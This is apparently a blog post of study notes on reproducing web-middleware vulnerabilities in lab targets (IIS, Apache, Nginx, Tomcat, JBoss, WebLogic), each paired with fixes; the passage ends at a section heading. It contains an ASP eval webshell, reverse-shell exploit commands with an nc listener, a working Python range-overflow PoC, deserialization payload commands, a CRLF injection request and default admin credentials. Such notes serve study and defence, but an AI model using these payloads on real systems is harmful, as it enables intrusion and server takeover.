[Java知识库]中间件漏洞汇总

文章内容没啥新颖的，只是温习了中间件漏洞输出成笔记而已😝

一些地址

下面的地址，详细的记录了中间件漏洞，我这里再学习复现一部分。
全网最全PDF版本：Web中间件常见漏洞总结.pdf
中间件漏洞复现：https://blog.csdn.net/zy15667076526/category_10361202.html

什么是中间件

我们经常管web中间件叫做web服务器或者web容器，中间件（英语：Middleware）是提供系统软件和应用软件之间连接的软件，以便于软件各部件之间的沟通。中间件处在操作系统和更高一级应用程序之间。他充当的功能是：将应用程序运行环境与操作系统隔离，从而实现应用程序开发者不必为更多系统问题忧虑，而直接关注该应用程序在解决问题上的能力 。容器就是中间件的一种。
?
也就是说，关于中间件，我们可以理解为：是一类能够为一种或多种应用程序合作互通、资源共享，同时还能够为该应用程序提供相关的服务的软件。（注意：中间件是一类软件的总称，不是单独的一个软件）
?
常见的web中间件有以下这些：

• iis
• apache
• tomcat
• nginx
• jboss
• Weblogic
• WebSphere

iis6x篇

使用内部靶场 Windows Server 2003 Standard x64 Edition，以NAT模式运行，选择自动获取DNS、IP，修改物理机hosts配置文件，添加站点 upload.moonteam.com

PUT漏洞

漏洞描述

IIS Server 在 Web 服务扩展中开启了 WebDAV ，配置了可以写入的权限，造成任意文件上传。
版本：IIS 6.0

漏洞复现

1. 开启 WebDAV 和写权限

3. 打开网站，抓个包

3. 把数据包发送到重放模块，GET方法改为OPTIONS，查看网站支持哪些协议

我们要用到的PUT和MOVE方法，网站都支持。

4. 上传一句话木马

文件不能是asp后缀，否则会失败，可以上传txt格式的，然后借助MOVE方法改文件后缀

PUT /test.txt HTTP/1.1
Host: upload.moonteam.com
Content-Length: 23

<%eval request("cmd")%>

如果上传asp后缀的，会直接失败。

5. 修改后门文件的后缀

注意：请求包的最后是要有2个换行的，就是下面图片中的第4、5行

MOVE /test.txt HTTP/1.1
Host: upload.moonteam.com
Destination: http://upload.moonteam.com/text.asp

6. 连接菜刀

防御方式

方法1：关闭webdav

方法2：关闭写入权限

解析漏洞-基于文件名

原理

该版本默认将 *.asp;.jpg 此种格式的文件名，当成Asp解析。服务器默认不解析 ; 号及其后面的内容，相当于截断。iis除了会将asp解析成脚本执行文件之外，还会将 cer cdx asa扩展名解析成asp。这里举个例子，可以看到.cdx扩展名被解析成asp。

复现

访问 sb.asp;1.jpg，可以直接看到大马。

大马内容：

防御

1. 禁止创建和上传此类畸形文件
2. 图片存放目录设置成禁止脚本文件执行
3. 升级iis版本

解析漏洞-基于文件夹

原理

该版本默认将 *.asp/ 目录下的所有文件当成 asp 解析

复现

创建文件 .asp 文件夹，上传图片后缀的后门到此目录

去靶机后台看看，发现网站目录下有名为 c.asp 的文件夹，里面有个被改成jpg后缀的大马。

防御

1. 禁止创建此类文件夹
2. 升级iis版本

IIS短文件漏洞

介绍

Windows 以 8.3 格式生成与 MS-DOS 兼容的（短）文件名，以允许基于 MS-DOS 或 16 位
Windows的程序访问这些文件。在cmd下输入"dir /x"即可看到短文件名的效果。

它允许远程攻击者在Web根目录下公开文件和文件夹名称（不应该可被访问）。攻击者可以找到通常无法从外部直接访问的重要文件，并获取有关应用程序基础结构的信息。

原理

当后缀小于4时，短文件名产生需要文件(夹)名前缀字符长度大于等于9位。
当后缀大于等于4时，文件名前缀字符长度即使为1，也会产生短文件名。
目前IIS支持短文件名猜测的HTTP方法主要包括：DEBUG、OPTIONS、GET、POST、HEAD、TRACE六种，IIS 8.0之后的版本只能通过OPTIONS和TRACE方法被猜测成功。
?

**短文件名特征： **

1. 只显示前6位的字符，后续字符用~1代替。其中数字1是可以递增。如果存在文件名类似的文件，则前面的 6个字符是相同的，后面的数字进行递增。

2. 后缀名最长只有3位，超过3位的会生成短文件名，且后缀多余的部分会截断。

3. 所有小写字母均转换成大写的字母
4. 长文件名中包含多个 . 的时候，以文件最后一个 . 作为短文件名的后缀

5. 长文件名前缀/文件夹名字符长度符合0-9和A-Z、a-z范围且需要大于等于9位才会生成短文件名，如果包

含空格或者其他部分特殊字符，不论长度均会生成短文件。

复现

提醒一下，IIS8.0以下版本需要开启ASP.NET支持，IIS>=8.0版本，即使没有安装ASP.NET，通过OPTIONS和TRACE方法也可以猜解成功。以下通过开启IIS6.0 ASP.NET后进行复现。

通过浏览器访问一个不存在的短文件名，会返回400状态码， 400说明该文件不存在；显示的404,说明目标存在该短文件名。
注：* 可以匹配n个字符，n可以为0

举个例子：

1. 在网站下面新建一个名为 abcde1231111.txt 的文件

其对应的短文件名如下图

2. 访问网站

访问：http://upload.moonteam.com/a*~1*/a.aspx ，返回404
访问：http://upload.moonteam.com/ab*~1*/a.aspx ，返回404
访问：http://upload.moonteam.com/ab1*~1*/a.aspx ，返回400
通过这种暴力猜解的方式，适合程序做。下载工具：

第一个工具：IIS Short Name Scanner （适合windows）
下载下来之后，直接双击bat运行

打开之后，长这个样子

第一个选项：输入目标网址
第二个选项：你想使用一个新的配置文件吗
第三个选项：您是否只想验证目标是否易受攻击而不彻底扫描它
第四个选项：设置线程

第2个工具：IIS_shortname_Scanner （需要python2环境）
我这里是在kali中运行的，记得改一下hosts配置文件

测试结果

防御

1. 升级.net framework
2. 修改注册表键值：

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem
修改 NtfsDisable8dot3NameCreation 为 1。修改完成后,需要重启系统生效。

3. 命令行关闭，输入命令fsutil behavior set disable8dot3 1，然后重启系统。

注：此方法只能禁止NTFS8.3格式文件名创建，已经存在的文件的短文件名无法移除，需要将其先复制，再删除，再粘贴进去才行。

RCE-CVE-2017-7269

介绍

Microsoft windows Server 2003 R2中的 Interne 信息服务 IIS6.0 中的 WebDAV 服务中的ScStoragePathFromUrl函数中的缓冲区溢出允许远程攻击者通过以 If:<http:// 开头的长标头执行任意代码 PROPFIND请求。

影响范围

WiNdows Server 2003 R2上使用IIS6.0并开启 WebDAV扩展。

复现

直接使用EXP：https://github.com/g0rx/iis6-exploit-2017-CVE-2017-7269

nc -lvnp 6666	#开启监听
python iis6\ reverse\ shell 192.168.239.151 80 192.168.239.141 6666	#反弹shell

防御

1. 关闭 WebDav服务
2. 产品升级
3. 部署安全设备

iis7x篇

使用内部靶场 08server1 进行测试。以NAT模式运行，选择自动获取DNS、IP。

文件解析漏洞

原理

IIS7.x版本在Fast-CGl运行模式下，对于任意文件，例：a001.jpg/png后面加上/.php，会将a001.jpg/png解析为php文件。

复现

1. 先访问下phpinfo。打开网站（免得还得看网站地址、端口啥的）

2. 在网站根目录下准备一个1.jpg的文件，文件内容如下图

3. 成功解析出1.jpg

防御

配置 cgi fix_pathinfo（php inil中）为0并重启php-cgi程序

此时，再刷新网页，会发现漏洞已经没了

HTTP.SYS远程代码执行(MS15-034)

介绍

HTTP.SYS是Microsoft Windows处理HTTP请求的内核驱动程序，为了优化IIS服务器性能，从IIS6.0引入。IIS服务进程依赖HTTP.SYS，HTTP.SYS远程代码执行漏洞实质是HTTP.SYS的整数溢出漏洞，当攻击者向受影响的Windows系统发送特殊设计的HTTP 请求，HTTP.sys 未正确分析时就会导致此漏洞，成功利用此漏洞的攻击者可以在系统帐户的上下文中执行任意代码。（暂无相关EXP，目前只能实现DoS效果，把目标打成蓝屏）

影响范围

Windows7、Windows server 2008 R2、Windows8、Windows server2012、Windows8.1和Windows server 2012 R2

影响版本

IIS7.5、IIS8.0、IIS8.5

复现

方式1：
编辑请求头，增加Range: bytes=0-18446744073709551615字段，若返回码状态为416 Requested Range Not Satisfiable，则存在HTTP.SYS远程代码执行漏洞。

响应码304，失败了。

解决办法很简单，删除多余的请求头就行了。

方法2：
poc 地址：https://github.com/davidjura/MS15-034-IIS-Active-DoS-Exploit-PoC

方法3：

电脑已经死机了，什么都动不了

修复建议

安装修复补丁（KB3042553）

apache篇

Apache 是世界使用排名第一的 Web 服务器软件。它可以运行在几乎所有广泛使用的计算机平台上，由于其跨平台和安全性被广泛使用，是最流行的 Web 服务器端软件之一。
apache目录结构

• bin：存放常用命令工具，如httpd
• cgi-bin：存放linux下常用命令，如xxx.sh
• error：错误记录
• htdocs：网站源码
• icons：网站图标
• manual：手册
• modules：扩展模块

未知扩展名解析漏洞

漏洞原理

Apache默认一个文件可以有多个以点分割的后缀，当最右边的后缀无法识别，则继续向左识别，直到识别到合法后缀才进行解析。那么哪些后缀Apache不认识？不在mime.types 里面的都不认识 （Multipurpose Internet Mail Extensions）

1. 使用module模式与php结合的所有版本apache存在未知扩展名解析漏洞。
2. 使用fastcgi模式与php结合的所有版本apache不存在此漏洞。
3. 利用此漏洞时必须保证扩展名中至少带有一个.php，不然将默认作为txt/html文档处理。

复现

这里使用phpstudy进行复现。

实战中可以上传rar，owf等文件进行利用，如果上传phpinfo.php.jpg，即使文件名中有.php，也会直接解析为jpg。因为Apache认识.jpg,停止继续向左识别。

修复建议

1. 在httpd.conf或httpd-vhosts.conf中加入以下语句，从而禁止文件名格式为.php.的访问权限：

<FilesMatch ".(php.|php3.|php4.|php5.)">
Order Deny,Allow
Deny from all
</FilesMatch>

2. 如果需要保留文件名，可以修改程序源代码，替换上传文件名中的.为_：

$filename = str_replace('.', '_', $filename);

AddHandler导致的解析漏洞

原理

如果运维人员给.php后缀增加了处理器：AddHandler application/x-httpd-php .php，那么，在有多个后缀的情况下，只要一个文件名中含有.php后缀，即被识别成PHP文件，没必要是最后一个后缀。利用这个特性，将会造成一个可以绕过上传白名单的解析漏洞。

复现

取消注释httpd.conf文件中的AddType application/x-httpd-php .php .phtml，那么，如果文件后缀中存在.php、.phtml，文件就会被解析成php文件

制作一个测试文件

修复建议

1. 在httpd.conf或httpd-vhosts.conf中加入以下语句，从而禁止文件名格式为.php.的访问权限：

<FilesMatch ".(php.|php3.|php4.|php5.)">
Order Deny,Allow
Deny from all
</FilesMatch>

2. 把配置不当的文件进行修改

目录遍历漏洞

原理

原理：当客户端访问到一个目录时，Apache服务器将会默认寻找一个index list中的文件，若文件不存在，则会列出当前目录下所有文件或返回403状态码，而列出目录下所有文件的行为称为目录遍历。

复现

就是下图的一个效果，网页中会显示出网站的目录结构。说起来，我自己的所有靶机都开启了这个目录浏览😂

防御

找到 httpd.conf，把到 Options + Indexes + FollowSymLinks + ExecCGI 修改成Options -Indexes +FollowSymLinks +ExecCGI并保存，然后重启phpstudy即可。

• • Indexes 允许目录浏览
• • Indexes 禁止目录浏览

这个时候，再尝试访问就不行了。

Apache HTTPD 换行解析漏洞（CVE-2017-15715）

复现详情参见：CVE-2017-15715 Repetition

漏洞描述

Apache HTTPD是一款HTTP服务器，它可以通过mod_php来运行PHP网页。其2.4.0~2.4.29版本中存在一个解析漏洞，在解析PHP时，1.php\x0a将被按照PHP后缀进行解析，导致绕过一些服务器的安全策略。此漏洞形成的根本原因，在于$， 正则表达式中$不仅匹配字符串结尾位置，也可以匹配 \n 或 \r
影响范围：Apache 2.4.0~2.4.29版本

漏洞复现

使用内部靶场

1. 打开环境

2. 上传一个phpinfo的文件

3. 直接上传是要失败滴

4. 在test.php后面添加一个空格，然后通过16进制编辑，把空格改为0a

5. 访问上传的文件，直接访问是要失败滴

6. 访问地址后面添加0a即可

nginx篇

Nginx是一款轻量级的Web 服务器/反向代理服务器及电子邮件（IMAP/POP3）代理服务器，在BSD-like协议下发行。其特点是占有内存少，并发能力强，事实上nginx的并发能力确实在同类型的网页服务器中表现较好。

文件解析漏洞

漏洞描述

该漏洞是由于Nginx中php配置不当而造成的，与Nginx版本无关，但在高版本的php中，由于security.limit_extensions的引入，使得该漏洞难以被成功利用。在已经上传了恶意文件1.jpg后，访问/1.jpg/xxx.php，使得Nginx将其解析为php文件传给php-cgi程序（传给路径位于SERVER[“SCRIPT_FILENAME”]，修复去除路径位于SERVER[“PATH_INFO”]），但cgi程序将其解析为1.jpg并执行。
?

cgi.fix_pathinfo=1说明存在漏洞

复现

这里在网站根目录下准备一个phpinfo的文件，后缀改为jpg

修复方案

1. 将php.ini文件中的cgi.fix_pathinfo的值设置为0，这样php再解析1.php/1.jpg这样的目录时，只要1.jpg不存在就会显示404页面
2. php-fpm.conf中的security.limit_extensions后面的值设置为.php

目录遍历漏洞

漏洞描述

Nginx的目录遍历与apache一样,属于配置方面的问题,错误的配置可导致目录遍历与源码泄露。

漏洞原理

修改nginx.conf，在如下图位置设置为autoindex on

复现

漏洞修复

1. 设置 autoindex off 关闭目录浏览

2. 删除 autoindex on

空字节代码执行漏洞

漏洞描述

在使用PHP-FastCGI执行php的时候，URL里面在遇到%00空字节时与FastCGI处理不一致，导致可在非php文件中嵌入php代码，通过访问 url+%00.php 来执行其中的php代码。如：http://local/robots.txt.php会把robots.txt文件当作php来执行。
影响版本：

• nginx 0.5.*
• nginx 0.6.*
• nginx 0.7 <= 0.7.65
• nginx 0.8 <= 0.8.37

漏洞复现

图源网络，本地暂无环境

1. 开启nginx

2. 在网站目录下添加1.jpg文件

3. 访问该文件

4. 抓包，添加%00

这里由于该图非正常，在抓包时最后面添加 ..，可以让burpsuite抓到

把请求修改为/1.jpg..php，然后发包即可

漏洞修复

1. 在nginx虚拟机配置或者fcgi.conf配置加如下代码：

if ($request_filename ~* (.*)\.php) {
	set $php_url $1;
}
if (!-e $php_url.php) {
	return 403;
}

2. 升级 nginx

整数溢出漏洞（CVE-2017-7529）

漏洞描述

在 Nginx 的 range filter 中存在整数溢出漏洞，可以通过带有特殊构造的 range 的 HTTP 头的恶意请求引发这个整数溢出漏洞，并导致信息泄露。
?

该漏洞影响所有 0.5.6 - 1.13.2版本内默认配置模块的Nginx只需要开启缓存攻击者即可发送恶意请求进行远程攻击造成信息泄露。当Nginx服务器使用代理缓存的情况下攻击者通过利用该漏洞可以拿到服务器的后端真实IP或其他敏感信息。通过我们的分析判定该漏洞利用难度低可以归属于low-hanging-fruit的漏洞在真实网络攻击中也有一定利用价值。

漏洞复现

POC地址：https://github.com/vulhub/vulhub/tree/master/nginx/CVE-2017-7529
POC代码：

#!/usr/bin/env python
import sys
import requests

if len(sys.argv) < 2:
    print("%s url" % (sys.argv[0]))
    print("eg: python %s http://your-ip:8080/" % (sys.argv[0]))
    sys.exit()

headers = {
    'User-Agent': "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240"
}
offset = 605
url = sys.argv[1]
file_len = len(requests.get(url, headers=headers).content)
n = file_len + offset
headers['Range'] = "bytes=-%d,-%d" % (
    n, 0x8000000000000000 - n)

r = requests.get(url, headers=headers)
print(r.text)

1. 打开内部测试靶场

2. POC开打

CRLF注入漏洞

漏洞描述

Nginx将传入的url进行解码，对其中的%0a%0d替换成换行符，导致后面的数据注入至头部，造成CRLF注入漏洞

漏洞复现

设置https跳转，这样就可以接收到url，进而进行处理。在nginx.conf文件中添加下面一行话。return 302 https://$host$uri;，在配置原有基础上增加这一行信息，目的是为了让http的请求跳转到https。

方法1：

GET /%0ASet-cookie:JSPSESSID%3D3 HTTP/1.1
Host: 192.168.239.153
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

方法2：
访问https://localhost/%0ASet-cookie:JSPSESSID%3D3

漏洞修复

删除配置不当的配置

文件名逻辑漏洞（CVE-2013-4547）

漏洞描述

这个漏洞其实和代码执行没有太大关系，其主要原因是错误地解析了请求的URI，错误地获取到用户请求的文件名，导致出现权限绕过、代码执行的连带影响。
影响版本：Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7

漏洞复现

暂不具备相关环境，漏洞浮现详情参见：Nginx 文件名逻辑漏洞（CVE-2013-4547）

tomcat篇

tomcat是一个开源而且免费的jsp服务器，属于轻量级应用服务器。它可以实现JavaWeb程序的装载，是配置JSP（Java Server Page）和JAVA系统必备的一款环境。
目录介绍：

|-- webapp # 站点根目录
    |-- META-INF # META-INF 目录
    |		 `-- MANIFEST.MF # 配置清单文件
    |-- WEB-INF # WEB-INF 目录
    | 	|-- classes # class文件目录
    |   | 		|-- *.class # 程序需要的 class 文件
    | 	| 		`-- *.xml # 程序需要的 xml 文件
    | 	|-- lib # 库文件夹
    | 	|		 `-- *.jar # 程序需要的 jar 包
    | 	`-- web.xml # Web应用程序的部署描述文件
    |-- <userdir> # 自定义的目录
    |-- <userfiles> # 自定义的资源文件

• webapp：工程发布文件夹。其实每个 war 包都可以视为 webapp 的压缩包。
• META-INF：META-INF 目录用于存放工程自身相关的一些信息，元文件信息，通常由开发工具，环境自动生成。
• WEB-INF：Java web应用的安全目录。所谓安全就是客户端无法访问，只有服务端可以访问的目录。
• /WEB-INF/classes：存放程序所需要的所有 Java class 文件。
• /WEB-INF/lib：存放程序所需要的所有 jar 文件。
• /WEB-INF/web.xml：web 应用的部署配置文件。它是工程中最重要的配置文件，它描述了 servlet 和组成应用的其它组件，以及应用初始化参数、安全管理约束等。

Tomcat 远程代码执行漏洞（CVE-2017-12615）

漏洞描述

Apache Tomcat 7.0.0版本至7.0.79版本存在远程代码执行漏洞。当上述版本的Tomcat启用HTTP PUT请求方法时，远程攻击者可以构造恶意请求利用该漏洞向服务器上传包含任意代码执行的jsp文件，并被服务器执行该文件，导致攻击者可以执行任意代码。
影响范围： Apache Tomcat 7.0.0 - 7.0.79 Apache Tomcat/8.5.19

漏洞原理

当在Tomcat的conf（配置目录下）/web.xml配置文件中添加readonly设置为false时，将导致该漏洞产生，（需要允许put请求）

漏洞复现

1. 启动内部靶场

2. 访问站点，并抓包

3. 上传websell

这里使用冰蝎，主要是冰蝎自带多种类型的webshell，这里使用jsp格式的。
支持三种上传绕过方式，默认使用 PUT 加文件名是失败的，需要绕过：

• PUT /shell.jsp%20
• PUT /shell.jsp::$DATA
• PUT /shell.jsp/

4. 发送数据包，看到是201响应码，应该是成功了。试着访问一下webshell地址

5. 连接冰蝎

修复

设置 readonly 为 true

Tomcat + 弱口令 && 后台getshell漏洞

漏洞原理

在tomcat8环境下默认进入后台的密码为tomcat/tomcat，未修改密码会导致未授权即可进入后台，或者管理员把密码设置成弱口令，攻击者爆破出账号密码之后，对后台上传恶意代码控制服务器。

漏洞复现

1. 打开内部靶场

2. 打开网站，使用账密tomcat/tomcat进行登录

如果密码错误，可以使用msf对其爆破，不会做的话网上有相关教程，不再赘述。

3. 准备一个后门文件

把shell.jsp打包成zip，然后把后缀修改为war，才能上传网站。

4. 上传网站

6. 完成上传之后，可以在tomcat页面看到相关文件，然后点开它

7. 进来

8. 访问webshell

9. 连接冰蝎

漏洞修复

1. 修改conf/tomcat-users.xml文件，设置强口令
2. 删除manger文件

tomcat 远程代码执行(CVE-2019-0232)

漏洞描述

Apache Tomcat是美国阿帕奇（Apache）软件基金会的一款轻量级Web应用服务器。该程序实现了对Servlet和JavaServer Page（JSP）的支持。4月11日，Apache官方发布通告称将在最新版本中修复一个远程代码执行漏洞（CVE-2019-0232），由于JRE将命令行参数传递给Windows的方式存在错误，会导致CGI Servlet受到远程执行代码的攻击。
触发该漏洞需要同时满足以下条件：

1. 系统为Windows
2. 启用了CGI Servlet（默认为关闭）
3. 启用了enableCmdLineArguments（Tomcat 9.0.*及官方未来发布版本默认为关闭）

影响范围：

• Apache Tomcat 9.0.0.M1 to 9.0.17
• Apache Tomcat 8.5.0 to 8.5.39
• Apache Tomcat 7.0.0 to 7.0.93

环境准备

使用内部靶机 12server5，搭建tomcat后修改web.xml。Tomcat的CGI_Servlet组件默认是关闭的，在 C:\apache-tomcat-8.5.39\conf\web.xml中找到注释的CGIServlet部分，去掉注释，并配置enableCmdLineArguments和executable，如下：

1. 第一部分

<servlet>
    <servlet-name>default</servlet-name>
    <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
    <init-param>
        <param-name>debug</param-name>
        <param-value>0</param-value>
    </init-param>
    <init-param>
        <param-name>listings</param-name>
        <param-value>false</param-value>
    </init-param>
    <load-on-startup>1</load-on-startup>
</servlet>

2. 第二部分

<servlet-mapping>
    <servlet-name>cgi</servlet-name>
    <url-pattern>/cgi-bin/*</url-pattern>
</servlet-mapping>

3. 第三部分

在 context.xml 中的添加privileged="true"语句

<Context privileged="true">

    <!-- Default set of monitored resources. If one of these changes, the    -->
    <!-- web application will be reloaded.                                   -->
    <WatchedResource>WEB-INF/web.xml</WatchedResource>
    <WatchedResource>${catalina.base}/conf/web.xml</WatchedResource>

    <!-- Uncomment this to disable session persistence across Tomcat restarts -->
    <!--
    <Manager pathname="" />
    -->
</Context>

4. 在C:\apache-tomcat-8.5.39\webapps\ROOT\WEB-INF下创建一个cgi-bin文件夹，并在文件夹内创建一个bat文件，方便回显测试效果。

漏洞复现

双击start.bat启动环境。

1. 访问站点

2. 执行命令net user

漏洞修复

受影响版本的用户应该应用下列其中一项缓解。升级到：

• Apache Tomcat 9.0.18或更高版本
• Apache Tomcat 8.5.40或更高版本
• Apache Tomcat 7.0.93或更高版本

tomcat反序列化漏洞(cve-2016-8735)

漏洞描述

该漏洞与之前Oracle发布的mxRemoteLifecycleListener反序列化漏洞（CVE-2016-3427）相关，是由于使用了JmxRemoteLifecycleListener的监听功能所导致。而在Oracle官方发布修复后，Tomcat未能及时修复更新而导致的远程代码执行。该漏洞所造成的最根本原因是Tomcat在配置JMX做监控时使用了JmxRemoteLifecycleListener的方法。
影响范围：

• ApacheTomcat 9.0.0.M1 到9.0.0.M11
• ApacheTomcat 8.5.0 到8.5.6
• ApacheTomcat 8.0.0.RC1 到8.0.38
• ApacheTomcat 7.0.0 到7.0.72
• ApacheTomcat 6.0.0 到6.0.47

环境准备

使用内部靶场 12server6，NAT模式运行，自动获取DNS和IP
利用条件：外部需要开启JmxRemoteLifecycleListener监听的10001和10002端口，来实现远程代码执行。

1. conf/server.xml中第30行中配置启用JmxRemoteLifecycleListener功能监听的端口。

  <Listener className="org.apache.catalina.mbeans.JmxRemoteLifecycleListener" rmiRegistryPortPlatform="10001" rmiServerPortPlatform="10002" />

2. 修改bin\catalina.bat，在Execute The Requested Comman上面添加

set CATALINA_OPTS=-Dcom.sun.management.jmxremote.ssl=false -Dcom.sun.management.jmxremote.authenticate=false

• Dcom.sun.management.jmxremote.ssl=false 指定是否使用SSL通讯
• Dcom.sun.management.jmxremote.authenticate=false 指定是否需要密码验证

3. 启动环境

4. 查看端口，上面说的两个利用端口，已经处于监听状态。

漏洞复现

github上下载利用工具ysoserial，这里让靶机弹个计算器，如果能够顺利地弹出计算机则说明漏洞已经成功利用

java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit 靶机IP 10001 Groovy1 calc.exe

Tomcat文件包含漏洞（CVE-2020-1938）

漏洞描述

Tomcat是Apache开源组织开发的用于处理HTTP服务的项目，两者都是免费的，都可以做为独立的Web服务器运行。Apache Tomcat服务器存在文件包含漏洞，攻击者可利用该漏洞读取或包含 Tomcat上所有 webapp 目录下的任意文件，如：webapp 配置文件或源代码等。
影响版本：

• Apache Tomcat 6
• Tomcat 7系列 <7.0.100
• Tomcat 8系列 < 8.5.51
• Tomcat 9 系列 <9.0.31

漏洞原理

使用内部靶场 12server5，NAT模式运行，自动获取DNS和IP。
tomcat默认的conf/server.xml中配置了2个Connector，一个为8080的对外提供的HTTP协议端口，另外一个就是默认的8009 AJP协议端口，两个端口默认均监听在外网ip。

 <Connector port="8080" protocol="HTTP/1.1"
            connectionTimeout="20000"
            redirectPort="8443" />
 <!-- A "Connector" using the shared thread pool-->

 <Connector executor="tomcatThreadPool"
            port="8080" protocol="HTTP/1.1"
            connectionTimeout="20000"
            redirectPort="8443" />

<Connector port="8009" protocol="AJP/1.3" redirectPort="8443" />

tomcat在接收ajp请求的时候调用org.apache.coyote.ajp.AjpProcessor来处理ajp消息，prepareRequest将ajp里面的内容取出来设置成request对象的Attribute属性。可以通过此种特性从而可以控制request对象的下面三个Attribute属性

• javax.servlet.include.request_uri
• javax.servlet.include.path_info
• javax.servlet.include.servlet_path

再通过控制ajp控制的上述三个属性来读取文件,通过操控上述三个属性从而可以读取到应用目录下的任何文件。

漏洞复现

1. 运行环境

2. 下载POC地址：https://github.com/xindongzhuaizhuai/CVE-2020-1938

漏洞防护

目前官方已在最新版本中修复了该漏洞，请受影响的用户尽快升级版本进行防护，官方下载链接：

其他防护措施：
参见绿盟的威胁通告：http://blog.nsfocus.net/cve-2020-1938/

jBoss篇

jBoss是一个基于J2EE的开发源代码的应用服务器。 JBoss代码遵循LGPL许可，可以在任何商业应用中免费使用。JBoss是一个管理EJB的容器和服务器，支持EJB1.1、EJB 2.0和EJB3的规范。但JBoss核心服务不包括支持ervlet/JSP的WEB容器，一般与Tomcat或Jetty绑定使用。

JMX Console未授权访问Getshell

漏洞描述

此漏洞主要是由于JBoss中/jmx-console/HtmlAdaptor路径对外开放，并且没有任何身份验证机制，导致攻击者可以进?到jmx控制台，并在其中执?任何功能。
?

影响版本：
Jboss4.x以下

漏洞复现

1. 使用内部靶场 12server6，点击run.bat运行程序

2. 按下F2，开始抓包，然后点开控制台

可以看到版本是受影响版本

3. 然后找到jboss.deployment（jboss 自带的部署功能）中的“flavor=URL,type=DeploymentScanner”点进去，通过远程包含war包，实现getshell。

4. 准备webshell

把冰蝎的 shell.jsp 打包成zip，修改后缀为war即可，准备一台机器，开启web服务，获取webshell地址

5. 填写webshell地址

6. 连接冰蝎

修复方案

1. 升级jboss
2. 关闭jmx-console和web-console，提高安全性

JBoss 5.x/6.x 反序列化命令执行漏洞（CVE-2017-12149）

漏洞描述

在Red Hat Enterprise Application Platform 5.2附带的Jboss Application Server中，发现HTTP Invoker的ReadOnlyAccessFilter中的doFilter方法不限制对其执行反序列化的类，从而使攻击者可以通过精心制作的序列化数据执行任意代码。
?

影响版本：
影响版本：5.x/6.x

漏洞复现

使用内部靶场 12server6，NAT模式运行。

1. 运行run.bat启动环境

2. 访问站点，看了下Jboss的版本，没问题

3. 访问 /invoker/readonly 返回500，说明此页面存在反序列化漏洞。

利用方式1：
使用工具DeserializeExploit：https://cdn.vulhub.org/deserialization/DeserializeExploit.jar
软件简单好用！

利用方式2：
使用JavaDeserH2HC进行反弹shell，地址：https://github.com/joaomatosf/JavaDeserH2HC

1. 在kali上安装jdk8，通过以下命令可确认这一点： javac -version &&java -version
2. 下载JavaDeserH2HC，编译并生成序列化数据

创建class文件

javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java

创建反序列化文件
ip是kali的ip，端口是nc要监听的端口

java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.239.163:9999

3. 利用

curl http://192.168.239.162:8080/invoker/readonly --data-binary ReverseShellCommonsCollectionsHashMap.ser

然后nc就可以接收到反弹过来的shell了。我这里不知道是什么原因，没收到shell

修复方案

1. 升级新版本。
2. 删除 http-invoker.sar 组件。
3. 添加如下代码至 http-invoker.sar 下 web.xml 的 security-constraint 标签中：用于对 http invoker 组件进行访问控制。<url-pattern>/*</url-pattern>

Jboss 5.x/6.x admin-Console后台部署war包Getshell

漏洞描述

Jboss 5.x/6.x admin-console和web-console的账号密码是一样的。因此当web-console无法部署war包时，可以使用admin-console来部署。前提是先得到账号密码，密码保存在jboss/server/default/conf/props/jmx-console-users.properties
?

影响版本： Jboss 5.x/6.x

漏洞复现

1. 准备一个后门

将冰蝎的 shell.jsp 打包成zip文件，然后把后缀改为war即可。

2. 访问站点

输入admin/admin登录

3. 访问webshell

4. 连接冰蝎

修复方案

设置高强度口令：

server\default\conf\props\jmx-console-users.properties

JBossMQJMS 反序列化漏洞（CVE-2017-7504）

漏洞描述

JBoss AS 4.x及之前版本中，JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java?件存在反序列化漏洞，远程攻击者可借助特制的序列化数据利?该漏洞执?任意代码。
?

影响版本：
JBoss AS 4.x及之前版本

漏洞复现

1. 启动环境

2. 首先验证目标jboss是否存在此漏洞，直接访问/jbossmq-httpil/HTTPServerILServlet 路径下。若访问200，则可能存在漏洞。

3. 我们可以使用JavaDeserH2HC来获取一个shell，方法基本同上文：《JBoss 5.x/6.x 反序列化命令执行漏洞（CVE-2017-12149）》
4. 我这里就不再截图了，意料之中的没有收到shell

Weblogic篇

WebLogic是美国Oracle公司出品的一个application server，确切的说是一个基于JAVAEE架构的中间件，WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。
?

WebLogic是美商Oracle的主要产品之一，是并购BEA得来。是商业市场上主要的Java（J2EE）应用服务器软件（application server）之一，是世界上第一个成功商业化的J2EE应用服务器, 已推出到12c(12.2.1.4) 版。而此产品也延伸出WebLogic Portal，WebLogic Integration等企业用的中间件（但当下Oracle主要以Fusion Middleware融合中间件来取代这些WebLogic Server之外的企业包），以及OEPE(Oracle Enterprise Pack for Eclipse)开发工具。

弱口令getshell漏洞

漏洞描述

在weblogic搭建好之后没有修改进入后台的密码 导致弱口令登录获得webshell

漏洞复现

1. 访问 http://192.168.239.162:7001/console，

会自动重定向到登陆页面http://192.168.239.162:7001/console/login/LoginForm.jsp
错误密码5次之后就会自动锁定，这里使用weblogic/Oracle@123登陆后台

2. 登录后台后，点击“部署”，点击“安装”，点击“上传文件”

4. 上传一个后门

把冰蝎的shell.jsp打包成zip文件，然后修改后缀为war

之后就是一路“下一步”，直至“完成”按钮可以点击，然后点击“完成”即可。

5. 访问webshell

6. 连接冰蝎

漏洞修复

使用高强度密码

XMLDecoder反序列化漏洞(CVE-2017-3506)

